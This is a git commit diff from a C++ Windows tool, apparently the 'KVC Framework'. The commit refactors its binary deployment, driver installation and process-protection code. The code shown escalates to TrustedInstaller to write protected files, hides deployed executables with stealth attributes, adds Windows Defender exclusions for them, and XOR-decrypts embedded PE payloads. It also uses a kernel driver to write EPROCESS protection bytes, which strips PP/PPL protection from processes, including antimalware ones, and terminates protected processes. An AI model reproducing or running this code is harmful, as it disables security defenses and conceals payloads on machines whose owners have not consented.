Aktualizacja: 2025-10-16 14:35:26

This commit is contained in:
wesmar
2025-10-16 14:35:26 +02:00
parent 0bd5de8765
commit 9926238fb0
6 changed files with 129 additions and 875 deletions

View File

@@ -1,4 +1,5 @@
// ControllerBinaryManager.cpp - Fixed compilation issues
// ControllerBinaryManager.cpp - Binary component extraction and deployment with privilege escalation
#include "Controller.h"
#include "common.h"
#include "Utils.h"
@@ -7,6 +8,7 @@
namespace fs = std::filesystem;
// Writes file with automatic privilege escalation if normal write fails
bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept
{
// First attempt: normal write operation
@@ -24,11 +26,11 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL);
}
// Force delete if still locked
// Try to delete with normal privileges first
if (!DeleteFileW(filePath.c_str())) {
// Use TrustedInstaller for stubborn files - call on instance
std::wstring delCmd = L"cmd.exe /c del /f /q \"" + filePath + L"\"";
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(delCmd)) {
// Fallback: Use TrustedInstaller for system-protected files
INFO(L"Normal delete failed, escalating to TrustedInstaller");
if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(filePath)) {
ERROR(L"Failed to delete existing file with TrustedInstaller: %s", filePath.c_str());
return false;
}
@@ -40,25 +42,10 @@ bool Controller::WriteFileWithPrivileges(const std::wstring& filePath, const std
return true;
}
// Final fallback: use TrustedInstaller to write file
const fs::path tempDir = fs::temp_directory_path();
const fs::path tempFile = tempDir / fs::path(filePath).filename();
// Write to temp location first
if (!Utils::WriteFile(tempFile.wstring(), data)) {
ERROR(L"Failed to write to temporary location: %s", tempFile.c_str());
return false;
}
// Copy from temp to target with TrustedInstaller - call on instance
std::wstring copyCmd = L"cmd.exe /c copy /y \"" + tempFile.wstring() + L"\" \"" + filePath + L"\"";
bool copySuccess = m_trustedInstaller.RunAsTrustedInstallerSilent(copyCmd);
// Cleanup temp file
DeleteFileW(tempFile.c_str());
if (!copySuccess) {
ERROR(L"TrustedInstaller copy operation failed for: %s", filePath.c_str());
// Final fallback: write directly with TrustedInstaller privileges
INFO(L"Using TrustedInstaller to write file to protected location");
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(filePath, data)) {
ERROR(L"TrustedInstaller write operation failed for: %s", filePath.c_str());
return false;
}
@@ -143,19 +130,19 @@ bool Controller::WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
SetFileAttributesW(kvcCryptPath.c_str(), stealthAttribs);
SetFileAttributesW(kvcMainPath.c_str(), stealthAttribs);
// Add Windows Defender exclusions for deployed components
INFO(L"Adding Windows Defender exclusions for deployed components");
// Add Windows Defender exclusions for deployed components
INFO(L"Adding Windows Defender exclusions for deployed components");
// Add paths (all files)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());
// Add paths (all files)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcPassPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcCryptPath.wstring());
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, kvcMainPath.wstring());
// Add processes (executables only)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");
// Add processes (executables only)
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc_pass.exe");
m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Processes, L"kvc.exe");
INFO(L"Windows Defender exclusions configured successfully");
INFO(L"Windows Defender exclusions configured successfully");
INFO(L"Binary component extraction and deployment completed successfully");
return true;
@@ -192,22 +179,22 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept
INFO(L"Successfully loaded kvc.dat (%zu bytes)", encryptedData.size());
// Decrypt using XOR cipher with predefined key
auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
if (decryptedData.empty()) {
ERROR(L"XOR decryption failed - invalid encrypted data");
return false;
}
auto decryptedData = Utils::DecryptXOR(encryptedData, KVC_XOR_KEY);
if (decryptedData.empty()) {
ERROR(L"XOR decryption failed - invalid encrypted data");
return false;
}
INFO(L"XOR decryption completed successfully");
INFO(L"XOR decryption completed successfully");
// Split combined binary into separate PE components
std::vector<BYTE> kvcPassData, kvcCryptData;
if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
ERROR(L"Failed to split combined PE data into components");
return false;
}
// Split combined binary into separate PE components
std::vector<BYTE> kvcPassData, kvcCryptData;
if (!Utils::SplitCombinedPE(decryptedData, kvcPassData, kvcCryptData)) {
ERROR(L"Failed to split combined PE data into components");
return false;
}
if (kvcPassData.empty() || kvcCryptData.empty()) {
if (kvcPassData.empty() || kvcCryptData.empty()) {
ERROR(L"Extracted components are empty - invalid PE structure");
return false;
}
@@ -232,4 +219,3 @@ bool Controller::LoadAndSplitCombinedBinaries() noexcept
return false;
}
}

View File

@@ -248,14 +248,12 @@ bool Controller::InstallDriver() noexcept {
INFO(L"Target driver path: %s", driverPath.c_str());
// Ensure directory exists with TrustedInstaller privileges
DWORD attrs = GetFileAttributesW(driverDir.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\"";
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) {
ERROR(L"Failed to create driver directory");
return false;
}
INFO(L"Creating driver directory with TrustedInstaller privileges...");
if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
ERROR(L"Failed to create driver directory: %s", driverDir.c_str());
return false;
}
DEBUG(L"Driver directory ready: %s", driverDir.c_str());
// Write driver file directly with TrustedInstaller privileges
INFO(L"Writing driver file with TrustedInstaller privileges...");
@@ -332,13 +330,9 @@ bool Controller::InstallDriverSilently() noexcept {
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
// Ensure directory exists
DWORD attrs = GetFileAttributesW(driverDir.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
std::wstring createDirCmd = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\"";
if (!m_trustedInstaller.RunAsTrustedInstallerSilent(createDirCmd)) {
return false;
}
// Ensure directory exists with TrustedInstaller privileges
if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
return false;
}
// Write driver directly with TrustedInstaller privileges

View File

@@ -1,15 +1,3 @@
/**
* @file ControllerProcessOperations.cpp
* @brief Process operations and protection management implementation
* @author Marek Wesolowski
* @date 2025
* @copyright KVC Framework
*
* Implements kernel-level process enumeration, protection manipulation,
* termination, and batch operations through driver session management.
* Provides caching for efficient multi-operation workflows.
*/
#include "Controller.h"
#include "common.h"
#include "Utils.h"
@@ -18,31 +6,9 @@
#include <tlhelp32.h>
#include <unordered_map>
// ============================================================================
// EXTERNAL GLOBALS
// ============================================================================
/** @brief Global flag for user interruption (Ctrl+C) */
extern volatile bool g_interrupted;
// ============================================================================
// DRIVER SESSION MANAGEMENT
// ============================================================================
/**
* @brief Begins a driver session with automatic reuse
*
* Session lifecycle management:
* 1. Checks for active session within 5-second window
* 2. Reuses existing session if available
* 3. Initializes new driver session if needed
* 4. Updates usage timestamp for session tracking
*
* @return bool true if driver session is ready, false on failure
*
* @note Optimizes performance by avoiding repeated driver load/unload
* @note Session reuse window: 5 seconds
*/
// Checks for active session within 5s window, reuses if available, otherwise initializes new session
bool Controller::BeginDriverSession()
{
if (m_driverSessionActive) {
@@ -63,21 +29,7 @@ bool Controller::BeginDriverSession()
return true;
}
/**
* @brief Ends driver session with optional keep-alive
*
* Cleanup sequence:
* 1. Checks if session is active
* 2. If not forced, maintains session for 10 seconds
* 3. Performs atomic cleanup on forced termination
* 4. Clears kernel address cache
* 5. Clears process list cache
*
* @param force If true, terminates immediately; if false, allows keep-alive
*
* @note Keep-alive window optimizes batch operations
* @note Always clears caches on session end
*/
// Ends driver session with optional keep-alive window (10s), clears caches on forced termination
void Controller::EndDriverSession(bool force)
{
if (!m_driverSessionActive) return;
@@ -95,32 +47,12 @@ void Controller::EndDriverSession(bool force)
m_cachedProcessList.clear();
}
/**
* @brief Updates driver usage timestamp for session lifetime management
*
* @note Called on every driver operation to extend session lifetime
*/
void Controller::UpdateDriverUsageTimestamp()
{
m_lastDriverUsage = std::chrono::steady_clock::now();
}
// ============================================================================
// KERNEL ADDRESS CACHE MANAGEMENT
// ============================================================================
/**
* @brief Refreshes kernel address cache from current process list
*
* Cache refresh process:
* 1. Clears existing cache entries
* 2. Enumerates all running processes
* 3. Maps PID to kernel EPROCESS address
* 4. Updates cache timestamp
*
* @note Cache reduces kernel enumeration overhead
* @note Called automatically when cache expires (30 seconds)
*/
// Clears cache, enumerates all processes, maps PID to kernel EPROCESS address
void Controller::RefreshKernelAddressCache()
{
m_kernelAddressCache.clear();
@@ -133,22 +65,7 @@ void Controller::RefreshKernelAddressCache()
m_cacheTimestamp = std::chrono::steady_clock::now();
}
/**
* @brief Retrieves cached kernel address for process ID
*
* Lookup strategy:
* 1. Checks cache expiration (30-second TTL)
* 2. Refreshes cache if stale
* 3. Returns cached address if available
* 4. Performs manual search if not cached
* 5. Updates cache with found address
*
* @param pid Process ID to lookup
* @return std::optional<ULONG_PTR> Kernel EPROCESS address or nullopt
*
* @note Automatically maintains cache freshness
* @note Falls back to manual search for new processes
*/
// Returns cached kernel address with 30s TTL, refreshes if stale, falls back to manual search
std::optional<ULONG_PTR> Controller::GetCachedKernelAddress(DWORD pid)
{
auto now = std::chrono::steady_clock::now();
@@ -173,19 +90,7 @@ std::optional<ULONG_PTR> Controller::GetCachedKernelAddress(DWORD pid)
return std::nullopt;
}
// ============================================================================
// PROCESS TERMINATION - PUBLIC API
// ============================================================================
/**
* @brief Terminates process by PID with driver support
*
* @param pid Process ID to terminate
* @return bool true if termination successful
*
* @note Uses automatic protection elevation for protected processes
* @note Forces session cleanup after operation
*/
// Terminates process by PID with automatic protection elevation
bool Controller::KillProcess(DWORD pid) noexcept
{
bool result = KillProcessInternal(pid, false);
@@ -193,22 +98,7 @@ bool Controller::KillProcess(DWORD pid) noexcept
return result;
}
/**
* @brief Terminates all processes matching name pattern
*
* Termination sequence:
* 1. Begins driver session
* 2. Finds all processes matching pattern
* 3. Terminates each match with protection elevation
* 4. Tracks success/failure counts
* 5. Ends driver session
*
* @param processName Process name or pattern (supports wildcards)
* @return bool true if at least one process terminated
*
* @note Supports wildcard patterns (e.g., "chrome*")
* @note Respects user interruption (Ctrl+C)
*/
// Terminates all processes matching name pattern with wildcard support
bool Controller::KillProcessByName(const std::wstring& processName) noexcept
{
if (!BeginDriverSession()) return false;
@@ -243,15 +133,7 @@ bool Controller::KillProcessByName(const std::wstring& processName) noexcept
return successCount > 0;
}
/**
* @brief Terminates multiple processes by PID list
*
* @param pids Vector of process IDs to terminate
* @return bool true if at least one process terminated
*
* @note Uses single driver session for all operations
* @note Respects user interruption
*/
// Terminates multiple processes by PID list using single driver session
bool Controller::KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept
{
if (pids.empty()) {
@@ -285,20 +167,7 @@ bool Controller::KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept
return successCount > 0;
}
/**
* @brief Terminates multiple processes by mixed PID/name targets
*
* Target resolution:
* 1. Parses each target as PID (numeric) or name (pattern)
* 2. Resolves all names to PIDs with pattern matching
* 3. Deduplicates PID list
* 4. Terminates all resolved processes
*
* @param targets Vector of PIDs (as strings) or process names
* @return bool true if at least one process terminated
*
* @note Supports mixed input: {"1234", "chrome.exe", "note*"}
*/
// Terminates processes by mixed PID/name targets, resolves patterns and deduplicates
bool Controller::KillMultipleTargets(const std::vector<std::wstring>& targets) noexcept
{
if (targets.empty()) return false;
@@ -342,27 +211,7 @@ bool Controller::KillMultipleTargets(const std::vector<std::wstring>& targets) n
return successCount > 0;
}
// ============================================================================
// PROCESS PROTECTION MANIPULATION - PUBLIC API
// ============================================================================
/**
* @brief Protects process by PID with specified protection level
*
* Protection application:
* 1. Validates process is not already protected
* 2. Parses protection level and signer type
* 3. Calculates combined protection byte
* 4. Writes to EPROCESS.Protection field
*
* @param pid Process ID to protect
* @param protectionLevel Protection level string ("PP" or "PPL")
* @param signerType Signer type string (e.g., "WinTcb", "Antimalware")
* @return bool true if protection applied successfully
*
* @note Fails if process is already protected
* @note Use SetProcessProtection to override existing protection
*/
// Applies protection to process, fails if already protected
bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept
{
if (!BeginDriverSession()) {
@@ -402,15 +251,7 @@ bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel,
return true;
}
/**
* @brief Removes protection from process by PID
*
* @param pid Process ID to unprotect
* @return bool true if protection removed successfully
*
* @note Fails if process is not protected
* @note Sets EPROCESS.Protection to 0
*/
// Removes protection from process, fails if not protected
bool Controller::UnprotectProcess(DWORD pid) noexcept
{
if (!BeginDriverSession()) {
@@ -442,17 +283,7 @@ bool Controller::UnprotectProcess(DWORD pid) noexcept
return true;
}
/**
* @brief Sets or overwrites process protection regardless of current state
*
* @param pid Process ID
* @param protectionLevel Protection level string ("PP" or "PPL")
* @param signerType Signer type string
* @return bool true if protection set successfully
*
* @note Unlike ProtectProcess, this overwrites existing protection
* @note Useful for changing protection levels
*/
// Sets or overwrites process protection regardless of current state
bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept
{
if (!BeginDriverSession()) {
@@ -486,71 +317,26 @@ bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionL
return true;
}
/**
* @brief Protects process by name with specified protection level
*
* @param processName Process name or pattern
* @param protectionLevel Protection level string
* @param signerType Signer type string
* @return bool true if protection applied successfully
*
* @note Uses driver-free name resolution
* @note Fails if multiple processes match pattern
*/
// Protects process by name, fails if multiple matches found
bool Controller::ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept
{
auto match = ResolveNameWithoutDriver(processName);
return match ? ProtectProcess(match->Pid, protectionLevel, signerType) : false;
}
/**
* @brief Removes protection from process by name
*
* @param processName Process name or pattern
* @return bool true if protection removed successfully
*/
bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept
{
auto match = ResolveNameWithoutDriver(processName);
return match ? UnprotectProcess(match->Pid) : false;
}
/**
* @brief Sets process protection by name
*
* @param processName Process name or pattern
* @param protectionLevel Protection level string
* @param signerType Signer type string
* @return bool true if protection set successfully
*/
bool Controller::SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept
{
auto match = ResolveNameWithoutDriver(processName);
return match ? SetProcessProtection(match->Pid, protectionLevel, signerType) : false;
}
// ============================================================================
// BATCH PROTECTION OPERATIONS - PUBLIC API
// ============================================================================
/**
* @brief Protects multiple processes with single driver session
*
* Batch protection sequence:
* 1. Validates protection parameters
* 2. Resolves all targets (PIDs/names) to PIDs
* 3. Opens single driver session
* 4. Applies protection to each process
* 5. Tracks success/failure statistics
*
* @param targets Vector of PIDs or process names
* @param protectionLevel Protection level string
* @param signerType Signer type string
* @return bool true if at least one process protected
*
* @note Skips already-protected processes
* @note More efficient than individual calls due to session reuse
*/
// Protects multiple processes in single session, skips already-protected processes
bool Controller::ProtectMultipleProcesses(const std::vector<std::wstring>& targets,
const std::wstring& protectionLevel,
const std::wstring& signerType) noexcept
@@ -611,16 +397,7 @@ bool Controller::ProtectMultipleProcesses(const std::vector<std::wstring>& targe
return successCount > 0;
}
/**
* @brief Sets protection on multiple processes (overwrites existing)
*
* @param targets Vector of PIDs or process names
* @param protectionLevel Protection level string
* @param signerType Signer type string
* @return bool true if at least one process modified
*
* @note Unlike ProtectMultipleProcesses, overwrites existing protection
*/
// Sets protection on multiple processes, overwrites existing protection
bool Controller::SetMultipleProcessesProtection(const std::vector<std::wstring>& targets,
const std::wstring& protectionLevel,
const std::wstring& signerType) noexcept
@@ -681,15 +458,7 @@ bool Controller::SetMultipleProcessesProtection(const std::vector<std::wstring>&
return successCount > 0;
}
/**
* @brief Unprotects multiple processes by target list
*
* @param targets Vector of PIDs or process names
* @return bool true if all targets successfully unprotected
*
* @note Returns true only if ALL targets unprotected
* @note Use for partial success checking
*/
// Unprotects multiple processes, returns true only if ALL succeed
bool Controller::UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept
{
if (targets.empty()) return false;
@@ -722,26 +491,7 @@ bool Controller::UnprotectMultipleProcesses(const std::vector<std::wstring>& tar
return successCount == totalCount;
}
// ============================================================================
// SIGNER-BASED MASS OPERATIONS
// ============================================================================
/**
* @brief Unprotects all processes with specified signer type
*
* Mass unprotection workflow:
* 1. Validates signer type
* 2. Enumerates all protected processes
* 3. Filters by signer type
* 4. Saves state to session manager for restoration
* 5. Removes protection from all matches
*
* @param signerName Signer type name (e.g., "WinTcb", "Antimalware")
* @return bool true if at least one process unprotected
*
* @note State saved for potential restoration with restore command
* @note Respects user interruption
*/
// Unprotects all processes with specified signer, saves state for restoration
bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept
{
auto signerType = Utils::GetSignerTypeFromString(signerName);
@@ -791,24 +541,7 @@ bool Controller::UnprotectBySigner(const std::wstring& signerName) noexcept
return successCount > 0;
}
/**
* @brief Sets protection for all processes with specified current signer type
*
* Mass protection workflow:
* 1. Validates current signer, new signer and protection level
* 2. Enumerates all processes with current signer type
* 3. Applies new protection level and signer to all matches
* 4. Processes protection changes in batch
*
* @param currentSigner Current signer type to filter processes (e.g., "WinTcb", "Microsoft")
* @param level New protection level to apply (e.g., "Windows", "WindowsLight")
* @param newSigner New signer type to apply (e.g., "Antimalware", "WinTcb")
* @return bool true if at least one process protection was successfully modified
*
* @note Changes protection for both currently running and future processes with matching signer
* @note Respects user interruption during batch operation
* @warning This operation cannot be automatically restored like unprotection
*/
// Changes protection for all processes with specified current signer
bool Controller::SetProtectionBySigner(const std::wstring& currentSigner,
const std::wstring& level,
const std::wstring& newSigner) noexcept
@@ -878,21 +611,7 @@ bool Controller::SetProtectionBySigner(const std::wstring& currentSigner,
return successCount > 0;
}
/**
* @brief Removes protection from all protected processes
*
* Global unprotection workflow:
* 1. Enumerates all protected processes
* 2. Groups by signer type
* 3. Saves state for each signer group
* 4. Removes protection from all processes
* 5. Reports statistics per signer group
*
* @return bool true if at least one process unprotected
*
* @note State saved per signer for selective restoration
* @note Provides detailed progress reporting
*/
// Removes protection from all protected processes, groups by signer and saves state
bool Controller::UnprotectAllProcesses() noexcept
{
if (!BeginDriverSession()) {
@@ -944,19 +663,7 @@ bool Controller::UnprotectAllProcesses() noexcept
return totalSuccess > 0;
}
// ============================================================================
// SESSION STATE RESTORATION
// ============================================================================
/**
* @brief Restores protection for processes unprotected by signer
*
* @param signerName Signer type to restore
* @return bool true if restoration successful
*
* @note Requires prior unprotect operation with state saved
* @note Delegates to SessionManager for state tracking
*/
// Restores protection for processes unprotected by signer
bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexcept
{
if (!BeginDriverSession()) {
@@ -968,13 +675,7 @@ bool Controller::RestoreProtectionBySigner(const std::wstring& signerName) noexc
return result;
}
/**
* @brief Restores protection for all previously unprotected processes
*
* @return bool true if restoration successful
*
* @note Restores all signer groups from current boot session
*/
// Restores protection for all previously unprotected processes
bool Controller::RestoreAllProtection() noexcept
{
if (!BeginDriverSession()) {
@@ -986,37 +687,12 @@ bool Controller::RestoreAllProtection() noexcept
return result;
}
/**
* @brief Displays session history with restoration states
*
* @note Delegates to SessionManager for display
*/
void Controller::ShowSessionHistory() noexcept
{
m_sessionMgr.ShowHistory();
}
// ============================================================================
// PROCESS INFORMATION AND LISTING
// ============================================================================
/**
* @brief Lists all protected processes in formatted table
*
* Display format includes:
* - PID
* - Process name (truncated to 28 chars)
* - Protection level (PP/PPL)
* - Signer type
* - EXE signature level
* - DLL signature level
* - Kernel EPROCESS address
*
* @return bool true if at least one protected process found
*
* @note Uses ANSI color codes for visual categorization
* @note Only displays processes with ProtectionLevel > 0
*/
// Lists all protected processes in formatted table with color coding
bool Controller::ListProtectedProcesses() noexcept
{
if (!BeginDriverSession()) {
@@ -1072,15 +748,7 @@ bool Controller::ListProtectedProcesses() noexcept
return true;
}
/**
* @brief Lists all processes with specific signer type
*
* @param signerName Signer type name to filter by
* @return bool true if at least one process found
*
* @note Uses same display format as ListProtectedProcesses
* @note Filters both protected and unprotected processes
*/
// Lists all processes with specific signer type
bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept
{
auto signerType = Utils::GetSignerTypeFromString(signerName);
@@ -1130,7 +798,7 @@ bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept
}
if (!foundAny) {
std::wcout << Utils::ProcessColors::RESET // RESET koloru przed komunikatem!
std::wcout << Utils::ProcessColors::RESET
<< L"\nNo processes found with signer type: " << signerName << L"\n";
return false;
}
@@ -1141,15 +809,7 @@ bool Controller::ListProcessesBySigner(const std::wstring& signerName) noexcept
return true;
}
/**
* @brief Retrieves and displays detailed protection info for process by PID
*
* @param pid Process ID to query
* @return bool true if information retrieved successfully
*
* @note Displays protection level, signer, signature levels
* @note Includes dumpability analysis
*/
// Retrieves and displays detailed protection info for process by PID
bool Controller::GetProcessProtection(DWORD pid) noexcept
{
if (!BeginDriverSession()) {
@@ -1184,7 +844,6 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept
std::wstring processName = Utils::GetProcessName(pid);
// Enable ANSI colors
if (!Utils::EnableConsoleVirtualTerminal()) {
ERROR(L"Failed to enable console colors");
}
@@ -1192,7 +851,6 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept
if (protLevel == 0) {
std::wcout << L"[*] PID " << pid << L" (" << processName << L") is not protected\n";
} else {
// Use GetProcessDisplayColor() for consistent colors with "kvc list"
const wchar_t* color = Utils::GetProcessDisplayColor(
signerType, signatureLevel, sectionSignatureLevel);
@@ -1208,48 +866,15 @@ bool Controller::GetProcessProtection(DWORD pid) noexcept
EndDriverSession(true);
return true;
}
// ============================================================================
// PROCESS INFORMATION BY NAME
// ============================================================================
/**
* @brief Retrieves protection information for process by name
*
* @param processName Process name or pattern
* @return bool true if information retrieved successfully
*
* @note Resolves name to PID and delegates to GetProcessProtection(DWORD)
* @note Uses driver-free name resolution for efficiency
*/
// Retrieves protection info by name, delegates to GetProcessProtection(DWORD)
bool Controller::GetProcessProtectionByName(const std::wstring& processName) noexcept
{
auto match = ResolveNameWithoutDriver(processName);
return match ? GetProcessProtection(match->Pid) : false;
}
// ============================================================================
// INTERNAL TERMINATION IMPLEMENTATION
// ============================================================================
/**
* @brief Internal process termination with automatic protection elevation
*
* Termination workflow:
* 1. Begins driver session if not in batch mode
* 2. Retrieves process kernel address from cache
* 3. Reads current protection level
* 4. Elevates current process if target is protected
* 5. Attempts termination with PROCESS_TERMINATE
* 6. Falls back to PROCESS_ALL_ACCESS if needed
* 7. Ends session if not in batch mode
*
* @param pid Process ID to terminate
* @param batchOperation If true, assumes session already active
* @return bool true if termination successful
*
* @note Automatically matches target protection for elevation
* @note Critical for terminating PP/PPL processes
*/
// Terminates process with automatic protection elevation for PP/PPL targets
bool Controller::KillProcessInternal(DWORD pid, bool batchOperation) noexcept
{
if (!batchOperation && !BeginDriverSession()) {
@@ -1296,22 +921,7 @@ bool Controller::KillProcessInternal(DWORD pid, bool batchOperation) noexcept
return terminated;
}
// ============================================================================
// INTERNAL PROTECTION MANIPULATION - BATCH SUPPORT
// ============================================================================
/**
* @brief Internal process protection with batch operation support
*
* @param pid Process ID to protect
* @param protectionLevel Protection level string
* @param signerType Signer type string
* @param batchOperation If true, assumes session active
* @return bool true if protection applied
*
* @note Skips already-protected processes with info message
* @note Optimized for batch operations with session reuse
*/
// Applies protection in batch mode, skips already-protected processes
bool Controller::ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel,
const std::wstring& signerType, bool batchOperation) noexcept
{
@@ -1354,17 +964,7 @@ bool Controller::ProtectProcessInternal(DWORD pid, const std::wstring& protectio
return result;
}
/**
* @brief Internal protection setter with batch support (overwrites existing)
*
* @param pid Process ID
* @param protectionLevel Protection level string
* @param signerType Signer type string
* @param batchOperation If true, assumes session active
* @return bool true if protection set successfully
*
* @note Unlike ProtectProcessInternal, always overwrites protection
*/
// Sets protection in batch mode, always overwrites existing protection
bool Controller::SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel,
const std::wstring& signerType, bool batchOperation) noexcept
{
@@ -1400,31 +1000,7 @@ bool Controller::SetProcessProtectionInternal(DWORD pid, const std::wstring& pro
return result;
}
// ============================================================================
// KERNEL-LEVEL PROCESS ENUMERATION
// ============================================================================
/**
* @brief Enumerates all processes by walking kernel EPROCESS linked list
*
* Enumeration algorithm:
* 1. Obtains PsInitialSystemProcess address
* 2. Reads required structure offsets from OffsetFinder
* 3. Walks ActiveProcessLinks circular list
* 4. For each EPROCESS:
* - Reads UniqueProcessId (PID)
* - Reads Protection byte
* - Reads SignatureLevel bytes
* - Resolves process name
* 5. Respects user interruption at multiple checkpoints
* 6. Safety limit: 10,000 processes maximum
*
* @return std::vector<ProcessEntry> All discovered processes with metadata
*
* @note Returns empty vector if interrupted or initialization fails
* @note Resolves unknown process names using kernel data
* @note Critical for all protection operations
*/
// Enumerates all processes by walking kernel EPROCESS linked list with 10k limit
std::vector<ProcessEntry> Controller::GetProcessList() noexcept
{
std::vector<ProcessEntry> processes;
@@ -1498,13 +1074,7 @@ std::vector<ProcessEntry> Controller::GetProcessList() noexcept
return processes;
}
/**
* @brief Retrieves kernel address of PsInitialSystemProcess
*
* @return std::optional<ULONG_PTR> System process EPROCESS address
*
* @note Entry point for EPROCESS linked list traversal
*/
// Returns kernel address of PsInitialSystemProcess
std::optional<ULONG_PTR> Controller::GetInitialSystemProcessAddress() noexcept
{
auto kernelBase = Utils::GetKernelBaseAddress();
@@ -1515,14 +1085,7 @@ std::optional<ULONG_PTR> Controller::GetInitialSystemProcessAddress() noexcept
return m_rtc->ReadPtr(pPsInitialSystemProcess);
}
/**
* @brief Retrieves kernel EPROCESS address for process ID
*
* @param pid Process ID to lookup
* @return std::optional<ULONG_PTR> Kernel address or nullopt if not found
*
* @note Enumerates entire process list - consider using cache
*/
// Retrieves kernel EPROCESS address for PID by enumerating process list
std::optional<ULONG_PTR> Controller::GetProcessKernelAddress(DWORD pid) noexcept
{
auto processes = GetProcessList();
@@ -1534,54 +1097,21 @@ std::optional<ULONG_PTR> Controller::GetProcessKernelAddress(DWORD pid) noexcept
return std::nullopt;
}
/**
* @brief Reads protection byte from EPROCESS structure
*
* @param addr Kernel EPROCESS address
* @return std::optional<UCHAR> Protection byte value
*
* @note Reads EPROCESS.Protection field at dynamic offset
*/
// Reads EPROCESS.Protection byte at dynamic offset
std::optional<UCHAR> Controller::GetProcessProtection(ULONG_PTR addr) noexcept
{
auto offset = m_of->GetOffset(Offset::ProcessProtection);
return offset ? m_rtc->Read8(addr + offset.value()) : std::nullopt;
}
/**
* @brief Writes protection byte to EPROCESS structure
*
* @param addr Kernel EPROCESS address
* @param protection New protection value to write
* @return bool true if write successful
*
* @warning Direct kernel memory modification - use with caution
*/
// Writes protection byte to EPROCESS structure
bool Controller::SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept
{
auto offset = m_of->GetOffset(Offset::ProcessProtection);
return offset ? m_rtc->Write8(addr + offset.value(), protection) : false;
}
// ============================================================================
// PROCESS NAME RESOLUTION AND PATTERN MATCHING
// ============================================================================
/**
* @brief Resolves process name to single match with driver support
*
* Resolution workflow:
* 1. Begins driver session
* 2. Finds all processes matching pattern
* 3. Validates single match (fails on ambiguity)
* 4. Returns ProcessMatch with PID, name, kernel address
*
* @param processName Process name or pattern
* @return std::optional<ProcessMatch> Single match or nullopt
*
* @note Fails if multiple matches found - requires specific pattern
* @note Uses driver for accurate kernel address retrieval
*/
// Resolves name to single match with driver, fails on ambiguity
std::optional<ProcessMatch> Controller::ResolveProcessName(const std::wstring& processName) noexcept
{
if (!BeginDriverSession()) return std::nullopt;
@@ -1605,15 +1135,7 @@ std::optional<ProcessMatch> Controller::ResolveProcessName(const std::wstring& p
return std::nullopt;
}
/**
* @brief Finds all processes matching name pattern with driver
*
* @param pattern Process name pattern (supports wildcards)
* @return std::vector<ProcessMatch> All matching processes
*
* @note Pattern matching: exact, substring, regex with wildcards
* @note Case-insensitive matching
*/
// Finds all processes matching pattern with case-insensitive wildcard support
std::vector<ProcessMatch> Controller::FindProcessesByName(const std::wstring& pattern) noexcept
{
std::vector<ProcessMatch> matches;
@@ -1625,16 +1147,7 @@ std::vector<ProcessMatch> Controller::FindProcessesByName(const std::wstring& pa
return matches;
}
/**
* @brief Resolves process name without driver initialization
*
* @param processName Process name or pattern
* @return std::optional<ProcessMatch> Single match (without kernel address)
*
* @note Uses CreateToolhelp32Snapshot for enumeration
* @note Kernel address will be 0 - requires driver lookup if needed
* @note Faster for operations that don't need kernel access
*/
// Resolves name without driver using Toolhelp snapshot, kernel address will be 0
